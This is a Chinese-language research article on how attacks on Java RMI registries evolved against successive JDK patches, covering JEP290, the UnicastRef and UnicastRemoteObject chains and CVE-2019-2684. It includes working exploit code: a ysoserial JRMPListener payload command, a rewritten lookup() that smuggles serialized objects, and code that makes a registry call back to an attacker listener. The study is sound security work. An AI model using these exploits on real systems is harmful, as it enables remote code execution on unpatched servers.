论RMI的攻防演进史

前些日子的一次比赛碰到攻击RMI服务的漏洞,最终没打下来。当时也被其他任务缠身导致没探究其根本原因。想着近两年各种基于RMI的漏洞又多了起来,而我对其中涉及的很多JDK版本问题、官方修复绕过、分布式垃圾回收相关特性、各种tricks的利用等都懵懵懂懂。趁着假期,索性一次将RMI相关的利用问题搞清楚

本文不涉及太多Debug代码的流水账,那样只会绕来绕去把自己绕晕。而是按照Oracle的官方修复、被绕过、修复、再绕过的思路进行分析。全文讲的RMI攻击对象为注册中心及服务端,至于反向操作造成的客户端反打问题原理类似,这里不做讨论。

针对RMI服务的利用手法依赖于目标ClassPath存在的Gadget,从JDK更新历史来看可分为三个阶段,第一阶段是在JEP290之前,攻击者可使用bind/unbind/dirty等操作绑定Gadget完成利用。在第二阶段是在发布JEP290(JDK8u121)至JDK8u241时期,由于JEP290 白名单的限制,进而找出了UnicastRef、UnicastRemoteObject利用链可用于二次反序列化的攻击手法,中间也穿插了对来源地址等的限制及绕过(CVE-2019-2684)。而第三阶段是在JDK8u241之后,攻击RMI服务已经无法利用bind/unbind/dirty等内置方法完成攻击,只能寄希望于寻找应用层的函数方法,当方法传递的是Object、Remote、Map等类型参数时,还是可以利用其传递构造的恶意对象进行利用。

1、概念介绍

先了解下RMI相关名词RPC、RMI、JNDI、JRMP等的解释

RPC

RPC 全称为 Remote Procedure Call(远程过程调用),它是一种计算机通信协议,允许像调用本地服务一样去调用远程服务。RPC可以有不同的实现方式,如RMI(远程方法调用)、Hessian等。另外RPC与语言是没有关系的,Java rmi使用的是Socket通信、动态代理反射、Java原生反序列化去实现的RPC框架。即本文要讲解的重点-Java rmi

Java RMI

Java RMI 全程为Java Remote Method Invocation(Java 远程方法调用)。Java RMI是专门为Java提供的远程方法调用机制,远程服务器实现具体方法并提供接口,本地客户端根据接口定义,提供参数即可调用远程方法并获取执行结果,实现了跨域JVM去调用另外一个JVM的对象方法。

JNDI

JNDI全称为Java Naming and Directory Interface(Java 命名与目录接口)。命名指的是在一个目录系统当中,实现了”服务名称-对象/引用”这样的映射对应关系,当客户端根据名称即可查询到相关联的对象/引用。目录是一种特殊类型的命名服务,在命名的基础上增加了“属性”的概念,所以客户端也可以根据对象属性操作筛选对象/引用。这些对象/引用可以存储在不同的命名/目录服务当中,如上面提到的远程服务调用RMI、公共对象请求代理架构CORBA、轻量级目录访问协议LDAP、域名服务DNS

JRMP

JRMP全称为Java Remote Method Protocal(Java 远程方法协议)。Java本身对于RMI的实现默认使用JRMP协议,而最近几年的漏洞之王-Weblogic对于RMI的实现使用的是T3协议。一次Java RMI的过程,需要用到JRMP协议去组织数据格式然后通过TCP协议进行传输,达到远程方法调用的目的

2、RMI调用基本流程

一次完整的RMI调用涉及到注册中心Registry、服务端Server、客户端Client三端,服务端首先向注册中心注册创建的远程对象(下图第一二步),接着客户端向注册中心发起查找请求并拿到远程对象的存根(下图第三四步)。RMI的实现引入了Stubs(客户端存根)、Skeletons(服务端骨架)两个概念。当客户端调用远程服务端的对象方法时(下图第五步),实际上会先经过“远程对象的客户本地代理”,这个代理类就是Stubs(客户端存根),其主要负责将要调用的远程方法名及参数打包、并将该包转发给远程对象所在的服务器(下图第六步);而在远程服务器调用真正的方法之前,同样也会经过代理类,这个存在于服务端的代理类就是骨架Skeleton,它从Stubs中接受调用并传递给真实的目标方法(下图第七步)。两者对于RMI服务的使用者是隐藏的,使用者不需要关注这部分实现。如下图是一次RMI的调用过程

了解了RMI的调用过程,我们还需要知道:RMI过程中传输的数据均为序列化数据,服务端/客户端/注册中心在拿到数据后都会进行反序列化操作。如果传输的是我们构造好的恶意序列化数据,就会在反序列化时触发漏洞。关于RMI的大部分攻击都是基于此特性完成的,主要分为:服务端向注册中心的bind操作、客户端向注册中心的lookup操作、客户端向服务端调用“自定义方法”的操作。漏洞利用在此基础上完成。本文主要讨论的是对于注册中心/服务端的漏洞利用在JDK中的的攻防历史,涉及多个JDK版本、反序列化Gadget构造技巧、官方的修复与绕过等等知识。

文章中使用的JDK版本:

1
jdk8u112、jdk8u121、jdk8u141、jdk8u191、jdk8u231、jdk8u241

2、JAVA RMI与JDK的攻防史

1、jdk< 8u121 无任何过滤

1.1 bind/rebind 的利用

服务端使用bind向注册中心注册绑定远程对象,我们可以放置恶意对象完成利用

sun.rmi.registry.RegistryImpl_Skel#dispatch

注册中心端的RegistryImpl_Skel会直接对服务端 bind/rebind操作传输过来的对象进行反序列化而没有任何过滤。所以在JDK8u121之前可以直接使用bind/rebind操作传输恶意对象进行漏洞利用。这也是ysoserial.exploit.RMIRegistryExploit 利用的原理。因为bind传输的类必须实现Remote接口,可使用动态代理的方式进行解决,ysoserial使用的handler为AnnotationInvocationHandler

1.2 DGC#dirty 的利用

因为在跨虚拟机的情况下,RMI无法直接使用原有JDK的GC机制,而自己实现了DGC(Distributed Garbage Collection 分布式垃圾回收),在对RMI进行漏洞利用的时候,也会出现经常出现DGC的身影。与上面RMI流程图中提到的一样,DGC也具有Stubs(客户端存根)、Skeletons(服务端骨架)两个概念,涉及的类为:DGCImpl_Stub、DGCImpl_Skel。并且只要启动了RMI服务,那么一定会存在DGC,其传输的数据是序列化数据,参数ObjID为Object类型,可以放置我们的恶意payload。在ysoserial中,DGC对应的利用exp为ysoserial/exploit/JRMPClient,以下为细节分析

处理DGC操作的是sun.rmi.transport.DGCImpl_Skel#dispatch方法

根据传入的var3值决定是调用clean(0)操作还是dirty(1)操作,在调用真正的远程方法之前会使用readObject()获取参数值,即进行反序列化操作,这也是该漏洞的触发点。而EXP编写的重点是如何把我们构造的恶意序列化数据塞进去。这涉及到DGC通信的一些协议格式,我们要解决的问题本质上来说就是:模仿客户端通信,将构造的恶意数据塞入数据流,使得服务端通过反序列化操作获取ObjID参数值时触发漏洞。并且由于DGC对于RMI使用用户来说并不可见,无法像registry可以直接连接去调用内置方法,而是需要自己起socket请求,按照数据格式进行数据填充。

参考rmi-protocol-docs发送的报文格式如下。服务端在接收到客户端传输的数据后,依次解析确认operation指令(Call、Ping、DgcAck)、根据ObjID确认处理的Skel类(RegistryImpl_Skel/DGCImpl_Skel/自定义)、根据num/hash确认要调用的方法、arg为调用方法的参数值。其中ObjID、num、hash、arg都是基于JAVA原生序列化机制生成的序列化数据

Header默认值部分在TransportConstants中定义,其中文档中的0x4a 0x52 0x4d 0x49 即sun.rmi.transport.TransportConstants#Magic的值

operation:

1
2
3
Call:80 0x50 远程方法调用
Ping:82 0x52 探测存活请求
DgcAck:84 0x54 dgc确认请求

ObjID:Registry与DGC的ObjID是固定值,在如下函数中被定义

1
2
3
4
5
Registry
rt.jar!sun.rmi.registry.RegistryImpl#id:id = new ObjID(0);

DGC
rt.jar!sun.rmi.transport.DGCImpl#dgcID:dgcID = new ObjID(2);

num:Registry与DGC中的操作及对应值

1
2
3
4
5
6
7
8
9
10
Registry:
bind 0
list 1
lookup 2
rebind 3
unbind 4

DGC:
clean 0
dirty 1

hash:Registry与DGC中hash值为固定值,自定义方法的hash值为方法签名的sha1

1
2
3
4
5
Registry:
sun.rmi.registry.RegistryImpl_Skel#interfaceHash:interfaceHash = 4905912898345647071L;

DGC:
sun.rmi.transport.DGCImpl_Skel#interfaceHash:interfaceHash = -669196253586618813L;

sun.rmi.server.UnicastServerRef#dispatch 根据客户端传过来的num值进行判断,如果≥0,表示为Registry/DGC默认方法 调用sun.rmi.server.UnicastServerRef#oldDispatch进行处理,如果客户端想远程调用自定义方法,则需要在定义时将属性值num设为负值、服务端在接收到客户端发送的call指令后根据num及hashToMethod_Map.get(方法hash值)确认目标方法,最后通过反射进行调用

而arg为远程方法的参数值,是基于JAVA原生序列化机制生成的序列化数据。在DGC层clean/dirty方法的ObjID参数为Object类型,可以承载我们的恶意payload,其对应的EXP为ysoserial.exploit.JRMPClient,数据构造部分在makeDGCCall()中

至此即可通过DGC攻击RMI服务

2、jdk = 8u121 (JEP290)

在jdk=8u121的时候,ORACLE官方做了两件事情。分别影响的是”远程加载类攻击客户端手法“、”对注册中心及DGC的反序列化攻击手法(加上了全局白名单)“。JEP290对于Java原生反序列化的影响暂不讨论,本文主要分析JEP290对RMI Registry、RMI DGC等攻击利用方式的影响。

2.1 限制1:RMI Registry、RMI DGC 增加了反序列化白名单

RMI Registry(注册表)、RMI DGC(分布式垃圾收集器)都默认启用了反序列化filter机制,只允许反序列化白名单中的特定类。这两者与我们对于RMI服务的攻击利用息息相关。

a.RMI Registry内置了白名单过滤器,只允许在注册表中绑定(bind)白名单中的类的实例

其验证逻辑在sun/rmi/registry/RegistryImpl.java#registryFilter。另外可以自行编辑sun.rmi.registry.registryFilter系统属性配置黑白名单为RMI注册表增加额外保护

b.RMI DGC与RMI Registry类似,也内置了反序列化的白名单,包括:java.rmi.server.ObjIDjava.rmi.server.UIDjava.rmi.dgc.VMIDjava.rmi.dgc.Lease。这部分逻辑写在sun.rmi.transport.DGCImpl#checkInput

2.2 限制2:限制了 RMI 远程加载机制

JDK RMI的远程Reference信任机制变化:环境变量com.sun.jndi.rmi.object.trustURLCodebase默认为false,意味着我们不能通过rmi的JNDI方式去攻击客户端了

有关JNDI注入修复及绕过分析可参考之前文章:当我们谈论JNDI注入时,我们在谈论什么

2.3 绕过1:使用JEP290白名单中的UnicastRef完成绕过

总结:JEP290是对RMI Registry与RMI DGC做的白名单限制,并没有对JRMP回连逻辑做限制,而白名单中的UnicastRef类会建立JRMP请求并对返回数据做反序列化处理,所以导致二次反序列化问题

JEP290 加上了反序列化白名单:sun/rmi/registry/RegistryImpl.java#registryFilter

1
2
3
4
5
6
7
8
9
String
Number
Remote
Proxy
UnicastRef
RMIClientSocketFactory
RMIServerSocketFactory
ActivationID
UID

前辈在白名单中找到UnicastRef类,此类的readExternal()方法会构建LiveRef对象(用于建立JRMP连接),sun.rmi.registry.RegistryImpl_Skel调用dispatchsun.rmi.transport.StreamRemoteCall#releaseInputStream释放输入流的时候会建立JRMP连接,并从数据流中取出数据进行反序列化操作,所以我们可利用JEP290白名单中的UnicastRef类进行一个二次反序列化绕过限制。利用思路如下:

2.3.1 UnicastRef 链利用复现

1、攻击者搭建恶意JRMP服务器,并放置构造的恶意序列数据等待目标服务器来取。这部分逻辑对应ysoserial.exploit.JRMPListener类,使用命令为

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 "mspaint"

2、RMI Registry反序列化UnicastRef类,从UnicastRef#readExternal()一直调用到StreamRemoteCall#executeCall,与恶意JRMP服务器建立链接,并取回序列化数据进行反序列化操作,这时候的RMI Registry相当于客户端

指定jrmp 连接基础代码:

1
2
3
4
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);

3、RMI Registry反序列化我们构造好的恶意序列化数据,完成漏洞利用

2.3.2 UnicastRef 包装恶意Padyload

UnicastRef gadget chain:

1
2
3
4
5
6
7
8
9
10
sun.rmi.server.UnicastRef#readExternal
sun.rmi.transport.LiveRef#read
//sun.rmi.transport.StreamRemoteCall#releaseInputStream //1
sun.rmi.transport.DGCClient#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall
sun.rmi.transport.DGCImpl_Stub#dirty //2
sun.rmi.server.UnicastRef#invoke
sun.rmi.transport.StreamRemoteCall#executeCall
java.io.ObjectInputStream#readObject

具体调用链如下,readExternal()会向ConnectionInputStream对象中存储Ref信息(包含jrmp链接的host、port等信息),然后再调用sun.rmi.transport.StreamRemoteCall#releaseInputStream一直到sun.rmi.server.UnicastRef#invoke中对jrmp服务端返回的数据进行反序列化操作。这两处操作需要注意下,后面的JDK修复也是针对这两处进行修复的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
jdk1.8.0_231\jre\lib\rt.jar!\sun\rmi\server\UnicastRef.class
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}



jdk1.8.0_231\jre\lib\rt.jar!\sun\rmi\transport\LiveRef.class
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
TCPEndpoint var2;
if (var1) {
var2 = TCPEndpoint.read(var0);
} else {
var2 = TCPEndpoint.readHostPortFormat(var0);
}

ObjID var3 = ObjID.read(var0);
boolean var4 = var0.readBoolean();
LiveRef var5 = new LiveRef(var3, var2, false);
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5); //1
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}


jdk1.8.0_231\jre\lib\rt.jar!\sun\rmi\transport\ConnectionInputStream.class
void saveRef(LiveRef var1) {
Endpoint var2 = var1.getEndpoint();
Object var3 = (List)this.incomingRefTable.get(var2);
if (var3 == null) {
var3 = new ArrayList();
this.incomingRefTable.put(var2, var3); //2
}

((List)var3).add(var1);
}

sun.rmi.transport.StreamRemoteCall#executeCall 对JRMP返回的数据进行反序列化操作

相对应的EXP构造在ysoserial.exploit.JRMPListener#doCall中,先往数据流写入ExceptionalReturn值(2),接着写入我们的恶意Payload

2.3.3 Remote接口类包装UnicastRef类

利用思路是没问题了,但是还有一个问题:我们如何将UnicastRef发送到RMI Registry,这个类并没有实现Remote接口,所以无法直接绑定到注册中心

只有将UnicastRef对象包装为Remote类型才能继续绑定。有几种方法能做到:

1
2
1、利用动态代理,可指定任意接口类型
2、找一个实现Remote接口且存在UnicastRef类型的字段的类进行包装

其实ysoserial.exploit.RMIRegisterExploit中使用的就是第一种方法,作者使用的handler是sun.reflect.annotation.AnnotationInvocationHandler,将其动态代理为Remote类型。但是这个类并不在JEP290白名单中,无法满足要求。所以需要重新找。

第二种思路,找到了RemoteObjectInvocationHandler,这个类的父类RemoteObject具有一个RemoteRef类型(UnicastRef实现了此接口)的属性,并且本身实现了Remote接口。满足我们的要求

但是我们可以看到ref属性是transient 关键字修饰,表明ref属性默认不被序列化,那我们找的这个类是不是不满足需求了呢?并不是!我们查看RemoteObjectInvocationHandler父类java.rmi.server.RemoteObject重写了writeObject(),其利用了writeExternal来写入被transient 修饰的ref属性值。所以依旧可以被反序列化

我们直接使用RemoteObjectInvocationHandler包裹下UnicastRef对象即可。

而ysoserial.payloads.JRMPClient中利用了RemoteObjectInvocationHandler可动态代理为任意接口的特性,将UnicastRef对象转化为Remote子接口Registry进行传递。其实不用这么复杂,直接使用RemoteObjectInvocationHandler包装一下就OK了

综上看来,RemoteObject其实更符合我们的要求:属性ref可包裹UnicastRef对象,其本身又实现了Remote接口。那他的子类理论上来说均是可以满足要求的。

但是事实并不是我们想象的那样,调试发现在操作序列化写入数据时,会进行判断(enableReplace值默认为true),如果满足”目标类实现Remote接口 && 未实现RemoteStub接口 && “则会将我们构造的恶意类替换。从而导致攻击利用失败。如下是调用过程替换方法replaceObject()的逻辑代码

java.io.ObjectOutputStream#writeObject0

sun.rmi.server.MarshalOutputStream#replaceObject

而RemoteStub是RemoteObject的子类,所以我们要找的目标类只需要缩小范围,只找RemoteStub子类即可满足要求。

1
RMIConnectionImpl_Stub、RMIServerImpl_Stub、ActivationGroup_Stub、DGCImpl_Stub、Activation$ActivationSystemImpl_Stub、ReferenceWrapper_Stub、RegistryImpl_Stub

经测试,这些类直接包裹unicastRef对象就可以完成利用

另外也可以利用反射修改enableReplace值,则RemoteObject的子类均可用了

3、jdk = 8u141

3.1 限制1:RMI bind/rebind/unbind 操作限制来源地址为本地

其实在jdk的早期版本中bind/unbind/rebind操作都会限制地址,只不过校验是在反序列化之后进行的,所以并没有对我们进行漏洞利用产生影响。但是在8u141的更新中限制了RMI bind/rebind/unbind 操作限制来源地址为本地地址。如下图是jdk8u121的sun/rmi/registry/RegistryImpl_Skel.java#dispatch()代码:反序列化操作完成之后才进行sun.rmi.registry.RegistryImpl#checkAccess地址检测

oracle官方在8u141对此处做了修改,防止外部攻击者的恶意对注册表进行bind/unbind操作。下面是jdk8u121与8u141的对比,可以发现将checkAccess操作提前至反序列化之前。

这就影响了ysoserial.exploit.RMIRegistryExploit的使用,此exp正是通过bind恶意类到注册中心完成攻击的。那有没有其他操作可以帮助我们完成恶意序列数据的传递呢。观察同文件下的其他操作,lookup()用于客户端向注册端查询,直接对数据流进行readObject()操作,并且没有checkAccess()地址来源校验。满足我们的要求

3.2 绕过1:RMI lookup 绕过对来源地址的限制

根据上一小节描述,我们可以晓得在8u141及之后,即使使用白名单中的UnicastRef类绕过了JEP290,官方对bind/unbind/rebind操作的限制来源为本地,导致无法完成利用。我们看到在同文件下的lookup方法满足要求(1、未检查来源地址;2、虽然传递的是String类型参数,但是在写入使用的是writeObject操作),我们无法直接拿sun.rmi.registry.RegistryImpl_Stub#lookup来使用,需要进行简单改造,使其支持传入Object类型参数

sun.rmi.registry.RegistryImpl_Stub#lookup

我们仿照逻辑重写一个支持传入Object类型参数的lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public Remote lookup(Registry registry,Object var1) throws Exception {
try {
RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");
Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}

ref.invoke(var2);

//处理返回信息的代码逻辑也可以删除
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
ref.done(var2);
}

return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}

3.3 绕过2:绕过本地地址限制(CVE-2019-2684)

在1.2节我们演示了构造DGC层数据的构造、在3.2节我们重写了lookup方法使其可以传入Object类型的参数。对于此类RPC的调用,数据全部由客户端构造,攻击者可以任意更改传输数据去应对服务端的过滤处理逻辑。而回到我们这里讨论的JDK8u141加上localhost限制,我们类比DGC层数据构造、改造lookup方法的操作,可以动手改造bind方法去解决。关于该绕过,貌似关注的人极少。且Ysoserial也未对此限制绕过编写EXP,所以这里动手写一下。具体思路由如下两种:

1、重写bind逻辑,使得在判断时进入lookup的处理逻辑进而触发UnicastRef反序列化链。

2、重写bind逻辑,使服务端进入“调用自定义方法“的逻辑,而自定义方法的参数是序列化参数,并未进入oldDispatch,导致可以绕过localhost的判断

思路1其实本质来说与3.2的绕过1是相同的,均利用了未做鉴权的lookup方法

绕过的exp 1:

我们看下思路2:

当opnum<0时表明是用户自定义方法,服务端根据hashToMethod_Map.get(方法hash值)确认目标方法。但是其内置了Registry的5个操作方法,我们只需要传入对应方法的hash值即可。

最终使用sun.rmi.server.UnicastRef#unmarshalValue组装”自定义方法参数”时调用readObject设置JRMP反向连接、releaseInputStream()释放数据流时请求恶意服务触发二次反序列化

最终通过重写lookup、bind的方式完成了本地地址限制的绕过

4、jdk = 8u231

4.1 限制1:RMI 修复UnicastRef链绕过的问题

1
2
3
4
5
6
7
8
9
10
sun.rmi.server.UnicastRef#readExternal
sun.rmi.transport.LiveRef#read
//sun.rmi.transport.StreamRemoteCall#releaseInputStream //修复1
sun.rmi.transport.DGCClient#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall
sun.rmi.transport.DGCImpl_Stub#dirty //修复2
sun.rmi.server.UnicastRef#invoke
sun.rmi.transport.StreamRemoteCall#executeCall
java.io.ObjectInputStream#readObject
4.1.1 清除UnicastRef的反连地址

在JDK8U231版本在sun.rmi.registry.RegistryImpl_Skel#dispatch处理bind、lookup、rebind、unbind操作时增加了sun.rmi.transport.StreamRemoteCall#discardPendingRefs方法,当反序列化时发生IO/类找不到或类型转换错误时,会调用sun.rmi.transport.ConnectionInputStream#discardRefs方法,去掉UnicastRef的反连地址(之前存储地址时使用的是ConnectionInputStream#saveRef),导致UnicastRef JRMP外连链无法利用

当服务端处理“由客户端改造的lookup()传输的UnicastRef恶意数据”时,readObject会正常执行,但是当转为String类型时触发catch ClassCastException错误,进入discardPendingRefs进行清除数据。我们可以看到incomingRefTable在处理前后的对比

执行discardPendingRefs操作后

4.1.2 对反连拿到的对象进行白名单校验

另外Registry在处理JRMP反连操作时会最终会调用到sun.rmi.transport.DGCImpl_Stub#dirty方法,并在this.ref.invoke(var5);操作中触发反序列化操作,8u231在invoke前增加了白名单限制sun.rmi.transport.DGCImpl_Stub#leaseFilter导致

返回的序列化对象无法通过检测

leaseFilter白名单:

1
2
3
4
5
6
7
8
9
10
11
12
13
UID.class
VMID.class
Lease.class
Throwable
"java.lang.*"
"java.rmi.*"
StackTraceElement.class
ArrayList.class
Object.class
java.util.Collections$UnmodifiableList
java.util.Collections$UnmodifiableCollection
java.util.Collections$UnmodifiableRandomAccessList
java.util.Collections$EmptyList

4.2 绕过1:使用UnicastRemoteObject链绕过修复

这条链与 之前绕过JEP290的UnicastRef 链不同之处在与它并不是在 StreamRemoteCall#releaseInputStream中触发JRMP外连,而是在调用readObject的时候就触发了,所以可以绕过8u231的修复补丁。这条链是由An Trinh 发现并在19年Blackhat上公布的,详情可参考:https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf

相当于从UnicastRemoteObject.readObject()通过”一系列操作“ 最终调用到了UnicastRef.invoke(),刚好绕过官方的两步修复方案。UnicastRef链及8u231的修复方案

1
2
3
4
5
6
7
8
9
10
11
UnicastRef gadget chain:
sun.rmi.server.UnicastRef#readExternal
sun.rmi.transport.LiveRef#read
//sun.rmi.transport.StreamRemoteCall#releaseInputStream //修复1
sun.rmi.transport.DGCClient#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#registerRefs
sun.rmi.transport.DGCClient.EndpointEntry#makeDirtyCall
sun.rmi.transport.DGCImpl_Stub#dirty //修复2
sun.rmi.server.UnicastRef#invoke
sun.rmi.transport.StreamRemoteCall#executeCall
java.io.ObjectInputStream#readObject

我们观察修复方案可以发现:官方并没有处理sun.rmi.server.UnicastRef#invoke之后的操作,相当于sink点没变,绕过补丁需要找一处反序列化的source点,source点需要满足如下条件:

1
2
3
4
5
6
7
1、白名单中的类(可绕过JEP290),并且存在readObject/readExternal方法
2、readObject/readExternal方法最终可以触发UnicastRef#invoke
3、因为RemoteObjectInvocationHandler的特点:
a、存在RemoteRef类型(UnicastRef的父类)的属性(ref)
b、RemoteObjectInvocationHandler#invoke会调用ref.invoke
c、RemoteObjectInvocationHandler本身实现了InvocationHandler,可作为动态代理的处理handler,在调用被代理接口方法时会先调用RemoteObjectInvocationHandler#invoke
所以条件2就变成了:反序列化方法中最终可以触发其属性的方法,属性接口使用RemoteObjectInvocationHandler代理即可

顺着这个思路,找到JEP290的白名单中有个java.rmi.server.UnicastRemoteObject,这个类的readObject()方法最终会调用到其属性值ssf的createServerSocket方法

这里用到了动态代理的特性:当调用ssf属性的createServerSocket方法时,会调用handler.invoke(),即这里会调用RemoteObjectInvocationHandler#invoke

而RemoteObjectInvocationHandler的ref属性为我们构造的UnicastRef对象,所以会调用到sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long),接下来就与UnicastRef链一致了

最终的调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
UnicastRemoteObject gadget chain:
java.rmi.server.UnicastRemoteObject#readObject
java.rmi.server.UnicastRemoteObject#reexport
java.rmi.server.UnicastRemoteObject#exportObject
...
sun.rmi.transport.tcp.TCPTransport#listen
sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
com.sun.proxy.$Proxy1.createServerSocket()
java.rmi.server.RemoteObjectInvocationHandler#invoke
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod
sun.rmi.server.UnicastRef#invoke
sun.rmi.transport.StreamRemoteCall#executeCall
java.io.ObjectInputStream#readObject

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
genUnicastRef()为生成UnicastRef对象的方法
lookup()为我们重写的方法,可以传入Object类型

Registry registry = LocateRegistry.getRegistry("192.168.232.8", 1099);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(genUnicastRef("192.168.232.1",2233));
RMIServerSocketFactory rmiServerSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(RMIServerSocketFactory.class.getClassLoader(), new Class[]{RMIServerSocketFactory.class,Remote.class}, remoteObjectInvocationHandler);
Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
Field ssf = UnicastRemoteObject.class.getDeclaredField("ssf");
ssf.setAccessible(true);
ssf.set(unicastRemoteObject, rmiServerSocketFactory);
lookup(registry, unicastRemoteObject);

使用UnicastRefRemoteObject链绕过官方对于UnicastRef链的修复

5、jdk = 8u241

5.1 修复1:RMI 修复UnicastRefRemoteObject链绕过的问题

在jdk8u241对UnicastRefRemoteObject链的利用做了修复,有两处:

1、sun.rmi.registry.RegistryImpl_Skel的bind、lookup、unbind传输的String类型参数使用readObject(String.class)进行反序列化操作

2、java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 在调用ref.invoke前检测Method对象表示方法所在类的Class对象(即这里Gadget chain中的RMIServerSocketFactory)是否实现了Remote接口

这两处补丁针对性修复了UnicastRefRemoteObject链,具体如下

sun.rmi.registry.RegistryImpl_Skel#lookup

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod

var2 是调用栈中触发代理handler的方法(createServerSocket), 我们无法控制此参数,Gadget中的关键类RMIServerSocketFactory没有实现Remote接口导致反序列化中断失败。修复的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
UnicastRemoteObject gadget chain:
java.rmi.server.UnicastRemoteObject#readObject
java.rmi.server.UnicastRemoteObject#reexport
java.rmi.server.UnicastRemoteObject#exportObject
...
sun.rmi.transport.tcp.TCPTransport#listen
sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
com.sun.proxy.$Proxy1.createServerSocket()
java.rmi.server.RemoteObjectInvocationHandler#invoke
java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod //修复2
sun.rmi.server.UnicastRef#invoke
sun.rmi.transport.StreamRemoteCall#executeCall
java.io.ObjectInputStream#readObject

6、jdk ≥ 8u241 的利用方式—应用层反序列化问题

目前如果目标的JDK版本大于或等于8u241,暂无法利用内置方法完成攻击。但是还可以寻找应用程序级别的方法,当传递的是Object、Remote、Map等类型参数时,我们可以利用其传递构造的恶意对象进行利用。

在3.2章节我们利用“调用自定义方法”的逻辑去调用了内置的bind方法,系统在处理参数时使用反序列化操作无过滤导致出现问题。这里利用的也是这个原理,当客户端调用服务端自定义方法时,服务端根据hashToMethod_Map.get(方法hash值)确认目标方法、unmarshalParameters解析参数、最后invoke反射调用

在sun.rmi.server.UnicastServerRef#unmarshalParametersUnchecked方法中对每个参数依次解析

sun.rmi.server.UnicastRef#unmarshalValue 当参数类型非基本数据类型、非String类型时直接调用readObject

7、错误排查

在漏洞利用过程中会出现各种报错,本节分析各种报错出现原因及对应解决绕过方案

7.1 ObjectInputFilter REJECTED

当使用Ysoserial的ysoserial.exploit.RMIRegistryExploit结合CommonsCollections6利用链攻击目标RMI服务器时出现该报错

目标RMI服务日志信息:

1
ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 298, ex: n/a

攻击者日志信息:

1
java.io.InvalidClassException: filter status: REJECTED

这种情况下是本文2.1限制1中提到的JEP290生效,用于包装CommonsCollections6的AnnotationInvocationHandler不在JEP290的白名单中导致漏洞利用失败。利用UnicastRef链绕过即可

7.2 Registry.Registry.bind disallowed

当使用绕过JEP290的UnicastRef链结合RMIConnectionImpl_Stub类攻击目标RMI服务器时出现该报错

攻击者日志信息:

1
java.rmi.AccessException: Registry.Registry.bind disallowed; origin /192.168.232.1 is non-local host

目标环境为JDK8u121

目标环境为JDK8u141

仔细查看发现虽然报错都是Registry.Registry.bind disallowed,但是前者利用成功,后者却失败了。141的调用栈并没有执行到RegistryImpl.bind。该种情况与本文3.1章节中分析的一致,Oracle官方将checkAccess地址检查从RegistryImpl.bind提前到了RegistryImpl_Skel.dispatch,导致漏洞利用失败。所以我们根据报错可以推断出利用情况:如果调用栈执行到了RegistryImpl.bind再报错,说明漏洞利用已经完成,反之则说明目标JDK版本大于等于8u141,需要使用我们改造的lookup进行利用

7.3 java.lang.ClassCastException: xxx cannot be cast to java.lang.String

当使用绕过JEP290—local限制的UnicastRef链结合RMIConnectionImpl_Stub类、改造的lookup()攻击目标RMI服务器,效果及报错如上图。虽然报类型转换错误,但是漏洞已经利用完成

7.4 Cannot cast an object to java.lang.String

